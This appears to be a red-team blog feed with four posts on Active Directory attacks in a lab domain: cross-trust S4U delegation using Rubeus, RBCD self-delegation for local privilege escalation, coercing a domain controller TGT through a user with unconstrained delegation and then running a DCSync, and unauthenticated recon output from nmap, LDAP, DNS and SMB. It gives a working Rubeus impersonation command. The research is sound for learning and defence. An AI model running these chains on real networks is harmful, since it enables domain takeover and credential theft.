🔒
❌
There are new articles available, click to refresh the page.
Before yesterdayPentest/Red Team

Crossing Trusts 4 Delegation

4 April 2020 at 22:34
By: 0xe7

The purpose of this post is to attempt to explain some research I did not long ago on performing S4U across a domain trust. There doesn't seem to be much research in this area and very little information about the process of requesting the necessary tickets.

I highly recommend reading Elad Shamir's Wagging the Dog post before reading this, as here I'll primarily focus on the differences between performing S4U within a single domain and performing it across a domain trust but I won't be going into a huge amount of depth on the basics of S4U and it's potential for attack, as Elad has already done that so well.

Motivation

I first thought of the ability to perform cross domain S4U when looking at the following Microsoft advisory. It states:

“To re-enable delegation across trusts and return to the original unsafe configuration until constrained or resource-based delegation can be enabled, set the EnableTGTDelegation flag to Yes.”

This makes it clear that it is possible to perform cross domain constrained delegation. The problem was I couldn't find anywhere that gave any real detail as to how it is performed, and the tools used to take advantage of constrained delegation did not support it.

Luckily Will Schroeder published how to simulate real delegation traffic:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx

# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')

# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('[email protected]')

# actually impersonate the next context
$Context = $Ident.Impersonate()

# implicitly invoke S4U2Proxy with the specified action
ls \\PRIMARY.TESTLAB.LOCAL\C$

# undo the impersonation context
$Context.Undo()

This allowed me to figure out how it works and implement it into Rubeus.

Recap

To perform standard constrained delegation, 3 requests and responses are required: 1. AS-REQ and AS-REP, which is just the standard Kerberos authentication. 2. S4U2Self TGS-REQ and TGS-REP, which is the first step in the S4U process. 3. S4U2Proxy TGS-REQ and TGS-REP, which is the actual impersonation to the target service.

I created a visual representation as the ones I've seen previously weren't the easiest to understand:

In this it's the ticket contained within the final TGS_REP that is used to access the target service as the impersonated user.

Some Theory

After hours of using Will's Powershell to generate S4U traffic and staring at packet dumps, this is how I understood cross domain S4U to work:

Clearly there's a lot more going on here, so let me try to explain.

  1. The first step is still the same, a standard Kerberos authentication with the local domain controller. (1 and 2)

  2. A service ticket is requested for the foreign domains krbtgt service from the local domain controller. (3 and 4)

    • The users real TGT is required for this request.
    • This is known as the inter-realm TGT or cross domain TGT. This resulting service ticket is used to request service tickets for services on the foreign domain from the foreign domain controller.

    Here's where things start to get a little complicated. And the S4U2Self starts.

  3. A service ticket for yourself as the target user you want to impersonate is requested from the foreign domain controller. (5 and 6)

    • This requires the cross domain TGT.
    • This is the first step in the cross domain S4U2Self process.
  4. A service ticket for yourself as the user you want to impersonate is now requested from the local domain controller. (7 and 8)

    • This request includes the users normal TGT as well as having the S4U2Self ticket, received from the foreign domain in step 3, attached as an additional ticket.
    • This is the final step in the cross domain S4U2Self process.

    And finally the S4U2Proxy requests. As with S4U2Self, it involves 2 requests, 1 to the local DC and 1 to the foreign DC.

  5. A service ticket for the target service (on the foreign domain) is requested from the local domain controller. (9 and 10)

    • This requires the users real TGT as well as the S4U2Self ticket, received from the local domain controller in step 4, attached as an additional ticket.
    • This is the first step in the cross domain S4U2Proxy process.
  6. A service ticket for the target service is requested from the foreign domain controller. (11 and 12)

    • This requires the cross domain TGT as well as the S4U2Proxy ticket, received from the local domain controller in step 5, as an additional ticket.
    • This is the service ticket used to access the target service and the final step in the cross domain S4U2Proxy process.

I implemented this full process into Rubeus with this PR, which means that the whole process can be carried out with a single command.

The implementation primarily involves the CrossDomainS4U(), CrossDomainKRBTGT(), CrossDomainS4U2Self() and CrossDomainS4U2Proxy() functions, along with the addition of 2 new command line switches, /targetdomain and /targetdc, and some other little modifications.

Basically when /targetdomain and /targetdc are passed on the commandline, Rubeus executes a cross domain S4U, otherwise a standard one is performed.

What's The Point?

Good question. This could be a useful attack path in some unusual situations. Let me try to explain one.

Consider the following infrastructure setup:

There are 2 domains, in a single forest. internal.zeroday.lab (the parent and root of the forest) and child1.internal.zeroday.lab (a child domain).

We've compromised a standard user, child.user, on child1.internal.zeroday.lab, this user can also authenticate against the SQL server ISQL1 in internal.zeroday.lab as a low privileged user:

As Elad mentions in the MSSQL section of his blog post, if the SQL server has the WebDAV client installed and running, xp_dirtree can be used to coerce an authentication to port 80.

What is important here is that the machine account quota for internal.zeroday.lab is 0:

This means that the standard method of creating a new machine account using the relayed credentials will not work:

The machine account quota for child1.internal.zeroday.lab is still the default 10 though:

So the user child.user can be used to create a machine account within the child1.internal.zeroday.lab domain:

As the machine account belongs to another domain, ntlmrelayx.py is not able to resolve the name to a SID:

For this reason I made a small modification which allows you to manually specify the SID, rather than a name. First we need the SID of the newly created machine account:

Now the --sid switch can be used to specify the SID of the machine account to delegate access to:

The configuration can be verified using Get-ADComputer:

Impersonation

So now everything is in place to perform the S4U and impersonate users to access ISQL1.

The NTLM hash of the newly created machine account is the ast thing that is required:

The following command can be used to perform the full attack and inject the service ticket for immediate use:

1
.\Rubeus.exe s4u /user:TestChildSPN$ /rc4:C4B0E1B10C7CE2C4723B4E2407EF81A2 /domain:child1.internal.zeroday.lab /dc:IC1DC1.child1.internal.zeroday.lab /impersonateuser:internal.admin /targetdomain:internal.zeroday.lab /targetdc:IDC1.internal.zeroday.lab /msdsspn:http/ISQL1.internal.zeroday.lab /ptt

This command does a number of things but simply put, it authenticates as TestChildSPN$ from child1.internal.zeroday.lab against IC1DC1.child1.internal.zeroday.lab and impersonates internal.admin from internal.zeroday.lab to access http/ISQL1.internal.zeroday.lab.

Now let's look at this in a bit more detail.

As described previously, the first step is to perform a standard Kerberos authentication and recieve the account's TGT that has been delegated access (TestChildSPN in this case):

This TGT is then used to request the cross domain TGT from IC1DC1.child1.internal.zeroday.lab (the local domain controller):

This is simply a service ticket to krbtgt/internal.zeroday.lab. This cross domain TGT is then used on the foreign domain in exactly the same manner the users real TGT is used on the local domain.

It is this ticket that is then used to request the S4U2Self service ticket for TestChildSPN$ for the user internal.admin from IDC1.internal.zeroday.lab (the foreign domain controller):

To complete the S4U2Self process, the S4U2Self service ticket is requested from IC1DC1.child1.internal.zeroday.lab, again for TestChildSPN$ for the user internal.admin, but this time the users real TGT is used and the S4U2Self service ticket retrieved from the foreign domain in the previous step is attached as an additional ticket within the TGS-REQ:

To begin the impersonation, a S4U2Proxy service ticket is requested for the target service (http/ISQL1.internal.zeroday.lab in this case) from IC1DC1.child1.internal.zeroday.lab. As this request is to the local domain controller the users real TGT is used and the local S4U2Self, received in the previous step, is atached as an additional ticket in the TGS-REQ:

Lastly, a S4U2Proxy service ticket is also requested for http/ISQL1.internal.zeroday.lab from IDC1.internal.zeroday.lab. As this request is to the foreign domain controller, the cross domain TGT is used, and the local S4U2Proxy service ticket received in the previous step is attached as an additional ticket in the TGS-REQ. Once the final ticket is received, Rubeus automatically imports the ticket so it can be used immediately:

Now that the final service ticket has been imported it's possible to get code execution on the target server:

Conclusion

While it was possible to perform this across trusts within a single forest, I didn't manage to get this to work across external trusts. It would probably be possible but would require a non-standard trust configuration.

With most configurations this wouldn't be required as you could either create a machine account within the target domain or delegate to the same machine account, as I've discussed in a previous post, but it's important to understand the limits of what is possible with these types of attacks.

The mitigations are exactly the same as Elad discusses in his blog post as the attack is exactly the same, the only difference is here I'm performing it across a domain trust.

Acknowledgements

A big thaks to Will Schroeder for all of his work on delegation attacks and Rubeus. Also Elad Shamir for his detailed work on resource-based constrained delegation attacks and contributions to Rubeus which helped me greatly when trying to implement this. Benjamin Delpy for all of his work on Kerberos tickets in mimikatz and kekeo.

I'm sure there are many more too, without these guys work, research in this area would be much further behind where it currently is!

Delegate 2 Thyself

17 March 2020 at 20:25
By: 0xe7

This post is also avaliable in PDF format here.

So a situation arose on the BloodHound Slack channel recently which is very similar to the one I'm going to describe in this post and the user could have benefited from this so I've decided to speed up my writing of this particular post. It's going to involve using resource-based constrained delegation (RBCD) for local privilege escalation.

Firstly, there are much better resources for a full explaination of the RBCD theory and attack vectors, the best I've read Wagging the Dog by Elad Shamir but also this and this by Will Schroeder, and even the Microsoft Kerberos documentation if you are really looking at understanding how Kerberos works as a whole.

I learned everything I know about RBCD from the posts mentioned above, so I highly recommend reading and understanding those if you truly want to understand RBCD.

Here I'll simply be explaining an attack that, while very similar to some being spoken about, I've not really seen anywhere, while trying to clear up a few areas of confusion a lot of people seem to have on the topic.

Resource-Based Constrained Delegation 101

While those other posts are without doubt the place to go if you want to understand how this works, I'll try to give a little recap of the essentials here.

Delegation is used in Kerberos to allow services to delegate (impersonate) as other users to other services. This is so that, for example, if a user access a web server and that web server is using a database server in the background, the web server is able to impersonate the user to access the database server and only gain access to the data owned by that user.

Resource-Based Constrained Delegation is governed by an Access Control List (ACL) contained within the msDS-AllowedToActOnBehalfOfOtherIdentity Active Directory attribute of the target machine account. This means if you want AccountA to be able to delegate to AccountB, then you have to set an Access Control Entry (ACE) within the ACL in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on AccountB for AccountA.

Confusion 1 - Service Accounts

So as Elad mentions in his post that SYSTEM, NT AUTHORITY\NETWORK SERVICE and Microsoft Virtual Accounts all authenticate on the network as the machine account on domain-joined systems. This is really useful to know as most Windows services on modern versions of Windows will run using a Microsoft Virtual Account by default. The 2 most notable are IIS and MSSQL but I'm sure there are many more.

This can be verified very easily:

This authenticates against 192.168.71.198 where I have impacket's smbserver.py script listening:

In any situation where the machine is domain-joined and you can run code as NT AUTHORITY\NETWORK SERVICE or a Microsoft Virtual Account, you can use RBCD for local privilege escalation, provided that Active directory hasn't been hardered to mitigate the RBCD attacks completely (which is very rarely the case).

The Situation

So here I'm going to perform the attack from a domain-joined (external.zeroday.lab) IIS server (EIIS1) where code execution has already been achieved. As we already know, this account will authenticate on the domain as the machine account:

Firstly, load the the ADModule from Nikhil Mittal and Will Schroeder's PowerView to be used throughout this post:

The last thing to note is a domain admin (and the user we're going to impersonate) is external.admin:

Confusion 2 - Machines Creating Machines

Generally with these RBCD attacks you require a second account with an service principal name (SPN), the common method is to create a new machine account as by default the machine account quota is 10:

I've seen some confusion on whether a machine account can be used to create another machine account. It is possible to create a machine account using a machine account, this can be done using Kevin Robertson's Powermad:

Now querying the domain controller, the newly created machine account can be seen:

The Crazy Bit

For this post though, I want to show that even if the machine account quota is 0, and access to another account with an SPN hasn't been achieved, it's still possible to abuse RBCD for privilege escalation. So the machine account quota has been reset to 0:

Now it is not possible to create a new machine account:

So here's the main reason for this blog, I was thinking one day "I wonder if a machine can delegate access to itself". So effectively, I (the machine account) want to tell the domain controller that I (the machine account) wants the ability to delegate access to myself (the machine account). I'm not sure why this would ever be required in a normal setup, but it in fact is possible.

So using the shell that I've already imported the ADModule, I can set the msDS-AllowedToActOnBehalfOfOtherIdentity:

This is all that is required to configure RBCD. To demonstrate that it has infact worked, I can run Get-ADComputer from another terminal (because showing the extended attributes using the ADModule doesn't work):

So now I have the ability to impersonate any domain user on the machine, that isn't in the Protected Users group or marked as Sensitive and cannot be delegated.

Abusing This Configuration

There's one more piece of the puzzle before we can actually perform the attack. We need to be able to pass Rubeus credentials for the machine account. This can be in the form of a username and password, or a TGT ticket.

Luckily Benjamin Delpy figured out how to do this, it's now called the tgtdeleg trick and it's also been implemented in Rubeus.

So after downloading Rubeus onto the compromised system, we can easily use it to grab a usable TGT:

That TGT can be used with the s4u Rubeus command to request a service ticket to HTTP/EIIS1.external.zeroday.lab (myself) as the user external.admin and injected into the current context:

Now when we use Invoke-Command to EIIS1.external.zeroday.lab, it runs as external.admin:

Cleanup

When on an assessment, it's always important to clean up any changes made to systems to return them to the original settings as much as possible. The RBCD configuration can be reset to it's original state using the machine account again, if domain admin privileges hasn't been achieved.

If the configuration was originally empty, this can be done in the following way:

And to verify that this worked:

Conclusion

Delegation is hard and often configured wrong so it's important to understand the scope of what is possible using these Kerberos features.

Active Directory in it's default configuration is vulnerable to a number of different attacks and these settings rarely get changed by the system administrator so this is often a very fruitful avenue for an attacker.

To secure AD against this attack is no different to those described by Elad in his post, there's nothing really new here apart from the idea of delegating to the same account.

Abusing Users Configured with Unconstrained Delegation

15 March 2020 at 20:25
By: 0xe7

An interesting situation came up on a recent assessment which triggered me into do a bit of research in the area as I'd seen nothing published on this particular issue.

I'd been really interested in the research done on the area of Kerberos Delegation. For this post, I'll be discussing Unconstrained Delegation, which has been covered a great deal in other places, notably here by Sean Metcalf and here by Dirk-jan Mollema, amongst others. If you really want to understand what is going on here, it might be best to read their work and understand it before continuing, although I'll try to give a recap here.

Unconstrained Delegation 101

In a nutshell, unconstrained delegation is when a user or computer has been granted the ability to impersonate users in an Active Directory domain with the only restriction of those contained within the Protected Users group or marked Sensitive and cannot be delegated.

What happens in short (read Sean's post if you want a detailed explaination, that's where this section is plagiarised from), after a user has already authenticated and wants to access a service that's been configured for unconstrained delegation:

  1. The user presents it's TGT to th DC when requesting a service ticket.

  2. The DC opens the TGT & validates PAC checksum – If the DC can open the ticket & the checksum check out, the TGT is valid. The data in the TGT is effectively copied to create the service ticket. The DC places a copy of the user’s TGT into the service ticket.

  3. The service ticket is encrypted using the target service accounts’ NTLM password hash and sent to the user (TGS-REP).

  4. The user connects to the server hosting the service on the appropriate port & presents the service ticket (AP-REQ). The service opens the service ticket using its NTLM password hash.

The diagram below (also taken from Sean's post) shows the full process:

The Situation

While abusing unconstrained delegation has been covered in detail many times, all of these posts address machine accounts, I've not yet seen anything related to abusing users configured for unconstrained delegation.

The setup for the demo is simple. A domain internal.zeroday.lab, with a domain controller IDC1 and a user TestUCSPN which has been configured for unconstrained delegation, as can be seen below:

As shown, the TrustedForDelegation attribute is set to True and the ServicePrincipalName is set to cifs/notexist.internal.zeroday.lab. The cifs service is being used here purly for convinence in demonstrating the issue.

The DNS record for notexist.internal.zeroday.lab does not exist:

This is all that is required to exploit it because the password for the machine account is not needed, but in this example the machine account also doesn't exist:

This allows me to demonstrate that it is still exploitable, by creating the machine account, using Kevin Robertson's Powermad:

Abuse

While it doesn't matter if the machine account is created in Active Directory, the DNS record needs to not exist for this attack to work (or it needs to point to a machine under your control).

If the DNS record doesn't exist, like in this example, it's easy to create one using any valid domain user account. Here I'm using Dirk-jan Mollema's krbrelayx:

Here 192.168.71.198 is the IP address of a Linux system under my control.

Sometimes it takes a little while for the name to resolve so it's good to check before continuing:

Now everything is in place to abuse this configuration. First, we need the hash of the service account's password (TestUCSPN in this case). For this Benjamin Delpy's tool mimikatz does the job nicely:

To retrieve the target's TGT ticket, we'll again use Dirk-jan Mollema's krbrelayx:

And from the same repository the printerbug.py script to trigger the authentication from the domain controller (192.168.71.20) to the target SPN host (notexist.internal.zeroday.lab):

This coerces the domain controller to authentication to the CIFS service on host noexist.internal.zeroday.lab where the krbrelayx.py script is listening. The krbrelatx.py script saves the ticket in ccache format:

This saved the ticket in the current working directory with the name [email protected][email protected].

For some reason, converting it to kirbi format using krbrelayx.py was failing with the error below:

Of course, you could using the ccache format with impacket but I decided to use Will Schroeder's Rubeus so I needed the ticket in kirbi format.

To convert the ticket I used Zer1t0's ticket_converter and then base64 encoded it:

This is now usable by Rubeus.

First, to demonstrate the a DCSync is not possible from the current context, mimikatz was used:

Lastly, Rubeus is used to inject the ticket into the current context and then mimikatz is able to perform a DCSync of the KRBTGT account from the domain controller:

Conclusion

One of the interesting things I find about attacks like this is here I used the TGT for the domain controller IDC1 to perform a DCSync from the same domain controller IDC1. I'm not sure why this is possible as I can see no reason why a domain controller would need to synchronize with itself, but it works...

This post is, as far as I've seen, the first explaination of how to take advantage of unconstrained delegation without requiring to compromise any machines and while it's most likely an uncommon situation, I have seen this in the wild recently.

Kerberos delegation is a really interesting point of research and I'm sure there will be plenty more research coming out in the future so it's well worth getting up to date with the current research out there.

Active Directory Reconnaissence - Part 1

12 February 2020 at 20:19
By: 0xe7

So it's been a long time since I've blogged anything but I've finally ported my blog from Octopress and am now in a better position to update it.

For a while now I've been focusing on learning as much as possible about perfomring infrastructure security assessments and particularly Active Directory (AD), so it makes sense to start creating some blog posts regarding that.

AD is a highly complex database used to protect the rest of the infrastructure by providing methods to restrict access to rsources and segregate resources from each other. However, partly due to it's complexity and partly due to backwards compatibility, it's very common for insecure configurations to be in place on corporate networks. Due to this and the fact that it is usually used to provide access to huge sections of the infrastructure, it's a high value target to attack.

In this post, I'll demonstrate some basic reconnaissence that might be possible from a completely unauthenticated position on the infrastructure.

Lab Configuration

The lab configuration is simple, as shown below:

The main thing here is that the IP address of the domain controller is 192.168.73.20.

Basic Scanning

The first step would be to perform a port scan of the target system. Nmap is a common choice for a port scan and for good reason, Nmap has tons of options and is capable of much more than simple port scanning.

A basic port scan using Nmap of the top 1000 TCP ports is shown:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
Lab:~# nmap -sT -Pn -n --open 192.168.73.20
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:35 GMT
Nmap scan report for 192.168.73.20
Host is up (0.00040s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 3.08 seconds

As shoiwn above, a bunch of ports are open on the target domain controller, these can be further probed using the -sV option:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Lab:~# nmap -sT -Pn -n --open 192.168.73.20 -sV -p53,88,135,139,389,445,464,593,636,3268,3269,3389
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:38 GMT
Nmap scan report for 192.168.73.20
Host is up (0.0013s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-02-12 23:38:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: internal.zeroday.lab, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: ICHILD1)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: internal.zeroday.lab, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/12%Time=5E448C70%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: IC1DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.72 seconds

This is known as a service scan and attempts to probe the listening service and return a reliable software name and version.

Some Basic Enumeration

LDAP Enumeration

As we can see Lightweight Directory Access Protocol (LDAP) is listening on a number of ports. That is an indication that this system is a domain controller.

The LDAP specification states that the server must provide some information about the {RootDSE](https://ldapwiki.com/wiki/RootDSE){:target="_blank"} even without authentication. This allows us to gather some basic information about the domain:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
Lab:~# nmap -sT -Pn -n --open 192.168.73.20 -p389 --script ldap-rootdse
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:59 GMT
Nmap scan report for 192.168.73.20
Host is up (0.0012s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       currentTime: 20200212235943.0Z
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       dsServiceName: CN=NTDS Settings,CN=IC1DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=ForestDnsZones,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=child1,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=DomainDnsZones,DC=child1,DC=internal,DC=zeroday,DC=lab
|       defaultNamingContext: DC=child1,DC=internal,DC=zeroday,DC=lab
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       configurationNamingContext: CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       rootDomainNamingContext: DC=internal,DC=zeroday,DC=lab
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       highestCommittedUSN: 172440
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       dnsHostName: IC1DC1.child1.internal.zeroday.lab
|       ldapServiceName: internal.zeroday.lab:[email protected]
|       serverName: CN=IC1DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       isSynchronized: TRUE
|       isGlobalCatalogReady: TRUE
|       domainFunctionality: 7
|       forestFunctionality: 7
|_      domainControllerFunctionality: 7
Service Info: Host: IC1DC1; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

The ldap-rootdse Nmap script shows us that this domain controller belongs to a child domain (child1.internal.zeroday.lab), shown in the defaultNamingContext attribute, and the root domain is internal.zeroday.lab, shown in the rootDomainNamingContext attribute.

DNS Enumeration

Along with LDAP, the port scan showed that this system was listening on UDP port 53, this is almost certainly Domain Name System (DNS). DNS can be queried to determine the domain controllers for a particular domain:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Lab:~# dig srv _ldap._tcp.dc._msdcs.child1.internal.zeroday.lab @192.168.73.20

; <<>> DiG 9.11.14-3-Debian <<>> srv _ldap._tcp.dc._msdcs.child1.internal.zeroday.lab @192.168.73.20
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28760
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;_ldap._tcp.dc._msdcs.child1.internal.zeroday.lab. IN SRV

;; ANSWER SECTION:
_ldap._tcp.dc._msdcs.child1.internal.zeroday.lab. 600 IN SRV 0 100 389 IC1DC1.child1.internal.zeroday.lab.

;; ADDITIONAL SECTION:
IC1DC1.child1.internal.zeroday.lab. 3600 IN A   192.168.73.20

;; Query time: 1 msec
;; SERVER: 192.168.73.20#53(192.168.73.20)
;; WHEN: Thu Feb 13 00:15:34 GMT 2020
;; MSG SIZE  rcvd: 147

It can also be used to query the root domain's domain controllers:

1
2
3
4
Lab:~# dig +short srv _ldap._tcp.dc._msdcs.internal.zeroday.lab @192.168.73.20
0 100 389 IDC1.internal.zeroday.lab.
Lab:~# dig +short a IDC1.internal.zeroday.lab @192.168.73.20
192.168.71.20

SMB Enumeration

Server Message Block (SMB) can be really useful for attackers, there are many possible attacks against the service. Here I'll only perform some very basic enumeration.

First it's useful to know whether NULL authentication is permitted. A Metasploit module can be used to test for this:

1
2
3
4
msf5 auxiliary(scanner/smb/pipe_auditor) > run

[+] 192.168.73.20:445     - Pipes: \netlogon, \lsarpc, \samr, \atsvc, \epmapper, \eventlog, \InitShutdown, \lsass, \LSM_API_service, \ntsvcs, \protected_storage, \router, \scerpc, \srvsvc, \W32TIME_ALT, \wkssvc
[*] 192.168.73.20:        - Scanned 1 of 1 hosts (100% complete)

So we can access SMB pipes without requiring a username and password. While this isn't that common these days on domain controllers, I have seen this on some corporate networks.

We should also try enumerating users. Another Metasploit module can be used for this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msf5 auxiliary(scanner/smb/smb_lookupsid) > run

[*] 192.168.73.20:445     - PIPE(LSARPC) LOCAL(ICHILD1 - 5-21-3578234567-448745970-1525302398) DOMAIN(ICHILD1 - 5-21-3578234567-448745970-1525302398)
[*] 192.168.73.20:445     - USER=Administrator RID=500
[*] 192.168.73.20:445     - USER=Guest RID=501
[*] 192.168.73.20:445     - USER=krbtgt RID=502
[*] 192.168.73.20:445     - USER=DefaultAccount RID=503
[*] 192.168.73.20:445     - GROUP=Domain Admins RID=512
[*] 192.168.73.20:445     - GROUP=Domain Users RID=513
[*] 192.168.73.20:445     - GROUP=Domain Guests RID=514
[*] 192.168.73.20:445     - GROUP=Domain Computers RID=515
[*] 192.168.73.20:445     - GROUP=Domain Controllers RID=516
[*] 192.168.73.20:445     - TYPE=4 NAME=Cert Publishers rid=517
[*] 192.168.73.20:445     - GROUP=Group Policy Creator Owners RID=520
[*] 192.168.73.20:445     - GROUP=Read-only Domain Controllers RID=521
[*] 192.168.73.20:445     - GROUP=Cloneable Domain Controllers RID=522
[*] 192.168.73.20:445     - GROUP=Protected Users RID=525
[*] 192.168.73.20:445     - GROUP=Key Admins RID=526
[*] 192.168.73.20:445     - TYPE=4 NAME=RAS and IAS Servers rid=553
[*] 192.168.73.20:445     - TYPE=4 NAME=Allowed RODC Password Replication Group rid=571
[*] 192.168.73.20:445     - TYPE=4 NAME=Denied RODC Password Replication Group rid=572
